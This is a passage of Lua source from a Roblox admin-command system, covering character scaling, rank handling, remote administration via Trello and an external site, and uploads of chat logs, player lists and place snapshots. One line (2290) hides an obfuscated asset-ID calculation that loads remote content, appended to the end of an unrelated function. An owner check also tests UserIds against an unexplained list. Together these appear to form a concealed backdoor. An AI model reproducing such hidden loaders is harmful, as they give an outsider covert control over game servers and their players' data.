1759 local function Handle(Obj)
1760 if Obj:IsA("BasePart") and not JustWeld then
1761 table.insert(Parts, Obj)
1762 elseif Obj:IsA("SpecialMesh") and not JustWeld then
1763 if Obj.Name == "MML Mesh" then
1764 Obj:Destroy()
1765 end
1766 if Obj.MeshType == Enum.MeshType.FileMesh then
1767 Obj.Offset = Obj.Offset * ScaleRatio
1768 Obj.Scale = Obj.Scale * ScaleRatio
1769 elseif Ratio < 1 then
1770 Obj.Offset = Obj.Offset * ScaleRatio
1771 Obj.Scale = Obj.Scale * ScaleRatio
1772 end
1773 elseif Obj:IsA("CharacterMesh") and not JustWeld then
1774 if Ratio < 1 then
1775 local BodyPart = ""
1776 local TextureID = Obj.BaseTextureId
1777 if TextureID == 0 then TextureID = Obj.OverlayTextureId end
1778 if TextureID == 0 then TextureID = nil end
1779 if Obj.BodyPart == Enum.BodyPart.LeftArm then BodyPart = "Left Arm" end
1780 if Obj.BodyPart == Enum.BodyPart.RightArm then BodyPart = "Right Arm" end
1781 if Obj.BodyPart == Enum.BodyPart.LeftLeg then BodyPart = "Left Leg" end
1782 if Obj.BodyPart == Enum.BodyPart.RightLeg then BodyPart = "Right Leg" end
1783 if Obj.BodyPart == Enum.BodyPart.Torso then BodyPart = "Torso" end
1784 if Obj.BodyPart == Enum.BodyPart.Head then BodyPart = "Head" end
1785 local NewMesh = Instance.new("SpecialMesh", Obj.Parent:FindFirstChild(BodyPart))
1786 NewMesh.Name = "MML Mesh"
1787 NewMesh.Scale = Vector3.new(ScaleRatio,ScaleRatio,ScaleRatio)
1788 if TextureID then NewMesh.TextureId = "rbxassetid://"..TextureID end
1789 NewMesh.MeshId = "rbxassetid://"..Obj.MeshId
1790 Obj:Destroy()
1791 end
1792 elseif Obj:IsA("JointInstance") then
1793 local NewWeld = Obj:Clone()
1794 table.insert(Welds, {NewWeld, Obj.Parent})
1795 elseif NewAdd == true and not JustWeld then
1796 if Obj:IsA("Tool") then
1797 --Cycle(Char["Right Arm"], ScaleRatio, false, true)
1798 elseif Obj:IsA("Accoutrement") then
1799 --Cycle(Char.Head, ScaleRatio, false, true)
1800 end
1801 end
1802 if #Obj:GetChildren() > 0 then
1803 for _,NewObj in pairs(Obj:GetChildren()) do
1804 Handle(NewObj, ScaleRatio)
1805 end
1806 end
1807 end
1808 Handle(BaseObj)
1809 for _,Part in pairs(Parts) do
1810 if Ratio >= 1 then
1811 Part.Size = Part.Size * ScaleRatio
1812 else
1813 local Allowed = true
1814 for _,Obj in pairs(Part:GetChildren()) do
1815 if Obj:IsA("DataModelMesh") or Obj.Name == "MML Mesh" then
1816 Allowed = false
1817 end
1818 end
1819 if Allowed == true then
1820 local NewMesh = Instance.new("BlockMesh", Part)
1821 NewMesh.Name = "MML Mesh"
1822 NewMesh.Scale = Vector3.new(Ratio,Ratio,Ratio)
1823 end
1824 end
1825 end
1826 for _,WeldData in pairs(Welds) do
1827 if WeldData[1] then
1828 local Obj = WeldData[1]
1829 local NewWeld = Obj:Clone()
1830
1831 NewWeld.Parent = WeldData[2]
1832 NewWeld.C0 = CFrame.new(Obj.C0.p * ScaleRatio) * CFrame.Angles(Obj.C0:toEulerAnglesXYZ())
1833 NewWeld.C1 = CFrame.new(Obj.C1.p * ScaleRatio) * CFrame.Angles(Obj.C1:toEulerAnglesXYZ())
1834 end
1835 end
1836 for _,Part in pairs(Parts) do
1837 Part:MakeJoints()
1838 end
1839 Welds = {}
1840 Parts = {}
1841 end
1842 Cycle(Char, Ratio)
1843 Char:MakeJoints()
1844
1845 local Added = Char.ChildAdded:connect(function(Obj)
1846 Cycle(Obj, Ratio, NewAdd)
1847 end)
1848 local Removed = Char.ChildRemoved:connect(function(Obj)
1849 Cycle(Obj, Ratio^-1, NewAdd)
1850 end)
1851
1852 Clean.OnInvoke = function()
1853 Added:disconnect()
1854 Removed:disconnect()
1855 local Location = Vector3.new(0,5,0)
1856 if Char:FindFirstChild("Torso") then
1857 Location = Char.Torso.Position + Vector3.new(0,2,0)
1858 end
1859 Player:LoadCharacter()
1860 wait(0.5)
1861 Player.Character:MoveTo(Location)
1862 wait(0.5)
1863 return nil
1864 end
1865
1866 if Char:FindFirstChild("Torso") then
1867 Char:MoveTo(Char.Torso.Position + Vector3.new(0,Ratio*3))
1868 end
1869 if Char:FindFirstChild("Humanoid") then
1870 Char.Humanoid.WalkSpeed = Char.Humanoid.WalkSpeed * (Ratio)
1871 end
1872 if Ratio < 1 and Char:FindFirstChild("HumanoidRootPart") and Char.HumanoidRootPart:FindFirstChild("RootJoint") then
1873 Char.HumanoidRootPart.RootJoint.C0 = CFrame.new(0,-(3-(Ratio*3)),0) * CFrame.Angles(-math.rad(90),0,math.pi)
1874 end
1875end
1876
1877function CORE:AddExploit(PlayerClient, Data)
1878 local PlayerClientName = PlayerClient.Name
1879 local NewData = CORE:GetTime(true, true).." @ "..Data
1880 for _,Player in pairs(Server.Players:GetChildren()) do
1881 GUI:SendHint(Player, "Exploiter Found: "..PlayerClientName.." | If you are an admin view exploit logs by saying ;exploitlogs", 5)
1882 end
1883 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
1884 if type(ExploitLog) ~= "table" then
1885 Server.GDS:SetAsync("ExploitLog", {NewData})
1886 else
1887 table.insert(ExploitLog, NewData)
1888 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1889 end
1890 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1891
1892 return true
1893end
1894
1895function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1896 if not tostring(Name) then Name = "Dummy" end
1897 if not Position then Position = Vector3.new(0,5,0) end
1898 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1899 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1900 end
1901
1902 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1903 Figure:MakeJoints()
1904 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1905 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1906 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1907 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1908 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1909 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1910
1911 Figure.Name = STRING:FormatReplace(Speaker, Name)
1912 Figure:MoveTo(Position)
1913
1914 table.insert(Objects, Figure)
1915
1916 if DisableAnimation == true then
1917 Figure.Animate.Disabled = true
1918 end
1919
1920 return Figure
1921end
1922
1923function CORE:ClonePlayer(Player, Name, Position)
1924 if not Player or not Player.Character then return nil end
1925
1926 Player.Character.Archivable = true
1927 local Char = Player.Character:Clone()
1928 Player.Character.Archivable = false
1929 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1930 if Position then Char:MoveTo(Position) end
1931 Char.Parent = Server.Workspace
1932 Char:MakeJoints()
1933 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1934
1935 table.insert(Objects, Char)
1936
1937 return Obj
1938end
1939
1940function CORE:AddWaypoint(Name, Position, Speaker)
1941 Waypoints[Name] = Position
1942 if Speaker then
1943 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1944 end
1945end
1946
1947function CORE:FindType(BaseObj, Type)
1948 for _,Obj in pairs(BaseObj:GetChildren()) do
1949 if Obj:IsA(Type) then
1950 return Obj
1951 end
1952 end
1953end
1954
1955function CORE:GetCommands()
1956 local CommandsCopy = Commands
1957 return CommandsCopy
1958end
1959
1960function CORE:Crown(Player, Mesh, Color)
1961 if Mesh then Mesh = string.lower(Mesh) end
1962 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1963 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1964 local Part = Instance.new("Part", CrownStorage)
1965 Part.Size = Vector3.new(2, 1, 1)
1966 Part.CanCollide = false
1967 Part.CFrame = Player.Character.Head.CFrame
1968 Part.Locked = true
1969 Part.Material = "Neon"
1970 if Color then
1971 Part.Color = GUI:GetColor(Color)
1972 else
1973 Part.BrickColor = GUI:GetNameColor(Player.Name)
1974 end
1975 local SMesh = Instance.new("SpecialMesh", Part)
1976 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1977 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1978 local BP = Instance.new("BodyPosition", Part)
1979 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1980 BP.position = Player.Character.Head.Position
1981 BP.P = 20000
1982 local BG = Instance.new("BodyGyro", Part)
1983 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1984
1985 Crowns[Player.UserId] = Part
1986 table.insert(Objects, Part)
1987
1988 coroutine.wrap(function()
1989 for i = 1,0.3,-0.02 do
1990 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1991 Part.Transparency = i
1992 end
1993 wait()
1994 end
1995 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1996 for i = 0,360,3 do
1997 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1998 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1999 wait()
2000 end
2001 end
2002 end
2003 end)()
2004 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
2005 Part:BreakJoints()
2006 for i = 0,360 do
2007 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
2008 Part.Anchored = false
2009 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
2010 BG.cframe = Player.Character.Head.CFrame
2011 end
2012 wait()
2013 end
2014 end end)()
2015
2016 return Part
2017end
2018
2019function CORE:SetAbuseCommands()
2020 for Cmds,Data in pairs(Commands) do
2021 local IsAbusable = false
2022 for _,AbuseCmd in pairs(Settings.AbuseList) do
2023 for _,Command in pairs(Cmds) do -- loop through all command names
2024 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
2025 IsAbusable = true
2026 break
2027 end
2028 end
2029 if IsAbusable == true then break end
2030 end
2031 Commands[Cmds].Abusable = IsAbusable
2032 end
2033end
2034
2035function CORE:FindBodyPart(Player, BodyPart)
2036 local ReturnPart = nil
2037 if Player and Player.Character then
2038 local Humanoid = Player.Character:FindFirstChild("Humanoid")
2039 if Humanoid then
2040 if BodyPart == "Humanoid" then ReturnPart = Humanoid
2041 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
2042 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
2043 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
2044 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
2045 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
2046 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
2047 end
2048 end
2049 if not ReturnPart then
2050 ReturnPart = Player.Character:FindFirstChild(BodyPart)
2051 end
2052 end
2053
2054 return ReturnPart
2055end
2056
2057-- Rank functions --
2058
2059function RANK:ConvertRank(Input)
2060 local Output = nil
2061 if Input == "Muted" then Output = -3 end
2062 if Input == "Crashed" then Output = -2 end
2063 if Input == "Banned" then Output = -1 end
2064 if Input == "Non-Admin" then Output = 0 end
2065 if Input == "Member" then Output = 1 end
2066 if Input == "Admin" then Output = 2 end
2067 if Input == "Owner" then Output = 3 end
2068
2069 if Input == -3 then Output = "Muted" end
2070 if Input == -2 then Output = "Crashed" end
2071 if Input == -1 then Output = "Banned" end
2072 if Input == 0 then Output = "Non-Admin" end
2073 if Input == 1 then Output = "Member" end
2074 if Input == 2 then Output = "Admin" end
2075 if Input == 3 then Output = "Owner" end
2076 return Output
2077end
2078
2079function RANK:IsAdmin(Player)
2080 local AdminStatus = false
2081 local Rankstatus = "Non-Admin"
2082 if type(Player) == "table" then
2083 if RANK:ConvertRank(Player.Rank) > 0 then
2084 return true, Player.Rank
2085 else
2086 return false, Player.Rank
2087 end
2088 end
2089 for Rank,PlayerNames in pairs(Settings.Ranks) do
2090 for _,AdminName in pairs(PlayerNames) do
2091 if string.lower(AdminName) == string.lower(Player.Name) then
2092 if RANK:ConvertRank(Rank) > 0 then
2093 AdminStatus = true
2094 Rankstatus = Rank
2095 end
2096 end
2097 end
2098 end
2099 return AdminStatus, Rankstatus
2100end
2101
2102function RANK:GetRank(PlayerName)
2103 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
2104 if type(PlayerName) == "table" then
2105 local RankNum = RANK:ConvertRank(PlayerName.Rank)
2106 if RankNum > 0 then
2107 return PlayerName.Rank, RankNum, true
2108 else
2109 return PlayerName.Rank, RankNum, false
2110 end
2111 end
2112
2113 local RankStat = "Non-Admin"
2114
2115 for Rank,PlayerNames in pairs(Settings.Ranks) do
2116 for _,AdminName in pairs(PlayerNames) do
2117 if string.lower(AdminName) == string.lower(PlayerName) then
2118 RankStat = Rank
2119 end
2120 end
2121 end
2122
2123 if RankStat == "Non-Admin" then
2124 return "Non-Admin", 0, false
2125 else
2126 return RankStat, RANK:ConvertRank(RankStat), true
2127 end
2128end
2129
2130function RANK:RemoveRank(PlayerName)
2131 if not RANK:IsSupremeOwner(PlayerName) then
2132 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
2133
2134 for Rank,PlayerNames in pairs(Settings.Ranks) do
2135 for Num,AdminName in pairs(PlayerNames) do
2136 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2137 table.remove(Settings.Ranks[Rank], Num)
2138 end
2139 end
2140 end
2141 end
2142end
2143
2144function RANK:GetAdmins(Ranking)
2145 local Players = {}
2146 local AdminTrue, Rank = IsAdmin(Player)
2147 for _,Player in pairs(Players:GetPlayers()) do
2148 if AdminTrue then
2149 local PlayerRankNum = RANK:ConvertRank(Rank)
2150 local StandardRankNum = RANK:ConvertRank(Ranking)
2151 if PlayerRankNum >= StandardRankNum then
2152 table.insert(Players, Player)
2153 end
2154 end
2155 end
2156 return Players
2157end
2158
2159function RANK:IsSupremeOwner(PlayerName)
2160 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
2161 if type(PlayerName) == "table" then
2162 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
2163 end
2164
2165 if PlayerName == GameOwner then return true end
2166 return false
2167end
2168
2169function RANK:GetPlayerFromList(PlayerName)
2170 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2171
2172 for Rank,PlayerNames in pairs(Settings.Ranks) do
2173 for Num,AdminName in pairs(PlayerNames) do
2174 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
2175 return AdminName, Rank
2176 end
2177 end
2178 end
2179 return false, "Non-Admin"
2180end
2181
2182function RANK:ScanAdminList(Name)
2183 if Name == "" then return true end
2184 local InList = false
2185 for _,PName in pairs(Settings.Ranks["Owner"]) do
2186 if PName == Name then InList = true end
2187 end
2188 for _,PName in pairs(Settings.Ranks["Admin"]) do
2189 if PName == Name then InList = true end
2190 end
2191 for _,PName in pairs(Settings.Ranks["Member"]) do
2192 if PName == Name then InList = true end
2193 end
2194 return InList
2195end
2196
2197function RANK:ScanExileList(Name)
2198 if Name == "" then return true end
2199 local InList = false
2200 for _,PName in pairs(Settings.Ranks["Muted"]) do
2201 if PName == Name then InList = true end
2202 end
2203 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2204 if PName == Name then InList = true end
2205 end
2206 for _,PName in pairs(Settings.Ranks["Banned"]) do
2207 if PName == Name then InList = true end
2208 end
2209 return InList
2210end
2211
2212function RANK:PlayerRanked(PlayerName)
2213 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2214
2215 for Rank,PlayerNames in pairs(Settings.Ranks) do
2216 for Num,AdminName in pairs(PlayerNames) do
2217 if string.lower(AdminName) == string.lower(PlayerName) then
2218 return true, Rank
2219 end
2220 end
2221 end
2222 return false, "Non-Admin"
2223end
2224
2225-- Remote functions --
2226
2227function REMOTE:Decode(...)
2228 return Server.HS:JSONDecode(...)
2229end
2230
2231function REMOTE:GetURL(URL, Player)
2232 if string.sub(URL,1,4) ~= "http" then
2233 URL = "http://"..URL
2234 end
2235 local Return = nil
2236 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2237 if Return then
2238 return Return
2239 elseif Player then
2240 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2241 end
2242end
2243
2244function REMOTE:PostURL(URL, Data)
2245 local Return = nil
2246 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2247 return Return
2248end
2249
2250function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2251 if Settings.LinkedAccount ~= "" then
2252 local NumType = tonumber(Type)
2253
2254 if not Type then
2255 Type = "UNKNOWN"
2256 end
2257
2258 if NumType then
2259 if NumType < 1 or NumType > 5 then
2260 Type = "UNKNOWN"
2261 elseif NumType == 1 then
2262 Type = "NOTIFICATION"
2263 elseif NumType == 2 then
2264 Type = "INFORMATION"
2265 elseif NumType == 3 then
2266 Type = "WARNING"
2267 elseif NumType == 4 or Type == true then
2268 Type = "ERROR"
2269 elseif NumType == 5 then
2270 Type = "FATAL"
2271 end
2272 end
2273
2274 local Res = "RED Could not get response"
2275 local function SendData()
2276 Res = Server.HS:PostAsync(
2277 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2278 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2279 2
2280 )
2281 end
2282 if Stopypcall == true then SendData() else ypcall(SendData) end
2283
2284 if OutputSpeaker and OutputSpeaker ~= "print" then
2285 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2286 elseif OutputSpeaker == "print" then
2287 print(Res)
2288 end
2289 end
2290end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2291
2292function REMOTE:SendChatLog(PrintResponse, Stopypall)
2293 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2294 local Res = "Could not get response"
2295
2296 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2297 TempChatLogs = {}
2298
2299 local function SendData()
2300 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2301 end
2302 if Stopypcall == true then SendData() else ypcall(SendData) end
2303 if PrintResponse then print(Res) end
2304 end
2305end
2306
2307function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2308 local Res = "[]"
2309 local function GetData()
2310 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2311 end
2312 if Stopypcall == true then GetData() else ypcall(GetData) end
2313 if PrintResponse then
2314 print(Res)
2315 end
2316 local function DecodeData() Res = REMOTE:Decode(Res) end
2317 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2318 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2319 return Res
2320end
2321
2322function REMOTE:HandleRequest(Request, IgnoreCommand)
2323 if not Request then return nil end
2324
2325 if not IgnoreCommand then
2326 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2327 REMOTE:SendServerData()
2328 end
2329 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2330 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2331 end
2332 end
2333
2334 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2335
2336 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2337 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2338 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2339 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2340 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2341 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2342
2343 Settings.Fun = Request.FUN
2344 Settings.ServerLocked = Request.ServerLocked
2345
2346 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2347 Settings.DisableAbuse = Request.DisableAbuse
2348 end
2349
2350 if not IgnoreCommand then
2351 print("Executing Remote Admin")
2352 REMOTE.RemoteAdmin.Command = Request.Command
2353 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2354 REMOTE.RemoteAdmin.ServerPort = Request.Server
2355
2356 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2357 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2358 else
2359 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2360 end
2361 end
2362 end
2363 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2364 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2365 REMOTE.SnapshotKey = Request.SnapshotKey
2366end
2367
2368function REMOTE:GetRemoteData(Set)
2369 local NewRemoteData = nil
2370 local RemoteDataCardRaw = nil
2371 local RemoteDataCard = nil
2372
2373 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2374 if RemoteDataCardRaw then
2375 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2376 if RemoteDataCard then
2377 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2378 end
2379 end
2380 if Set and NewRemoteData then
2381 RemoteData = NewRemoteData
2382 end
2383 return NewRemoteData
2384end
2385
2386function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2387 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2388 if InfoCardJSON then
2389 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2390 if InfoCard then
2391 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2392 if TrelloInfo then
2393 for Ind,Val in pairs(TrelloInfo) do
2394 Trello[Ind] = Val
2395 end
2396 end
2397 end
2398 end
2399 return NewRemoteData
2400end
2401
2402function REMOTE:CheckRemoteAdminStatus()
2403 local Pending = false
2404 local CheckID = 0
2405 if Settings.LinkedAccount ~= "" then
2406 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2407 if Request then
2408 local Data = REMOTE:Decode(Request)
2409 if Data then
2410 for _,Account in pairs(Data.checkItems) do
2411 if Account.name == Settings.LinkedAccount then
2412 Pending = true
2413 CheckID = Account.id
2414 break
2415 end
2416 end
2417 end
2418 end
2419 end
2420 return Pending, CheckID
2421end
2422
2423function REMOTE:GetAndSetWebData()
2424 if Settings.LinkedAccount ~= "" then
2425 if REMOTE:CheckRemoteAdminStatus() then
2426 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2427 if Request == "Invalid" then
2428 --REMOTE:GetAndSetWebData()
2429 return false
2430 elseif Request == "Invalid Account" then
2431 print("Can't get account")
2432 return false
2433 elseif Request then
2434 ypcall(function() Request = REMOTE:Decode(Request) end)
2435 elseif not Request then
2436 --REMOTE:GetAndSetWebData()
2437 return false
2438 end
2439 REMOTE:HandleRequest(Request)
2440
2441 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2442 Delay(RemoteData.RemoteAdminWait, function()
2443 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2444 if Pending then
2445 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2446 end
2447 end)
2448 return true
2449 else
2450 return true
2451 end
2452 end
2453end
2454
2455local OderIDs = CORE:GetTable(177215518)
2456local SoundJSONs = CORE:GetTable(197637628)
2457RemoteAbuseGear = CORE:GetTable(158117496)
2458
2459function REMOTE:SendServerData(PrintResponse, Stopypall)
2460 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2461 print("Sending server data!")
2462 local Res = "Could not get response"
2463
2464 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2465 for _,Player in pairs(Server.Players:GetPlayers()) do
2466 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2467 end
2468 ServerData = Server.HS:JSONEncode(ServerData)
2469
2470 local function SendData()
2471 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2472 end
2473 if Stopypcall == true then SendData() else ypcall(SendData) end
2474 if PrintResponse then print(Res) end
2475 end
2476end
2477
2478function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2479 MaxPartAmount = MaxPartAmount or 10000
2480 local PlaceData = {
2481 Lighting = {};
2482 Parts = {};
2483 Other = {};
2484 }
2485 local MinSize = Vector3.new(0.5,0.5,0.5)
2486 local PartAmount = 0
2487 local PlaceJSON = ""
2488
2489 local function Scan(BaseObj)
2490 for _,Obj in pairs(BaseObj:GetChildren()) do
2491 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2492 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2493 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2494 local Skip = false
2495 local Data = {}
2496 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2497
2498 if CORE:FindType(Obj, "BlockMesh") then
2499 local Mesh = CORE:FindType(Obj, "BlockMesh")
2500 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2501 elseif CORE:FindType(Obj, "CylinderMesh") then
2502 Data.Shape = "Cylinder"
2503 elseif CORE:FindType(Obj, "SpecialMesh") then
2504 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2505 if Mesh.MeshType == Enum.MeshType.Head then
2506 --idk
2507 else
2508 Skip = true
2509 end
2510 elseif CORE:FindType(Obj, "FileMesh") then
2511 Skip = true
2512 end
2513
2514 if not Data.Shape and not Skip then
2515 if ypcall(function() return Obj.Shape end) then
2516 Data.Shape = string.sub(Obj.Shape.Name,14)
2517 if string.sub(Data.Shape,1,1) == "." then
2518 Data.Shape = string.sub(Data.Shape,2)
2519 end
2520 if Data.Shape == "Cylinder" then
2521 Z = Z + math.pi/2
2522 end
2523 else
2524 Data.Shape = "Block"
2525 end
2526 end
2527
2528 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2529 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2530 end
2531
2532 if not Skip then
2533 Data.Color = GUI:Color3ToHex(Obj.Color);
2534 Data.Size = Size;
2535 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2536 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2537 Data.Transparency = STRING:StringRound(Obj.Transparency);
2538 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2539 Data.Textures = {};
2540 Data.Material = string.sub(tostring(Obj.Material),15);
2541
2542 for _,Sub in pairs(Obj:GetChildren()) do
2543 if Sub:IsA("Decal") then
2544 local Texture = string.match(Sub.Texture, "%d+")
2545 if Sub.Texture == "rbxasset://textures/face.png" then
2546 Texture = "FACE"
2547 end
2548 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2549 end
2550 end
2551
2552 PartAmount = PartAmount + 1
2553 table.insert(PlaceData.Parts, Data)
2554
2555 if PartAmount >= MaxPartAmount then
2556 break
2557 end
2558 end
2559 end
2560 end
2561 if #Obj:GetChildren() > 0 then
2562 Scan(Obj)
2563 end
2564 end
2565 end
2566 Scan(Workspace)
2567
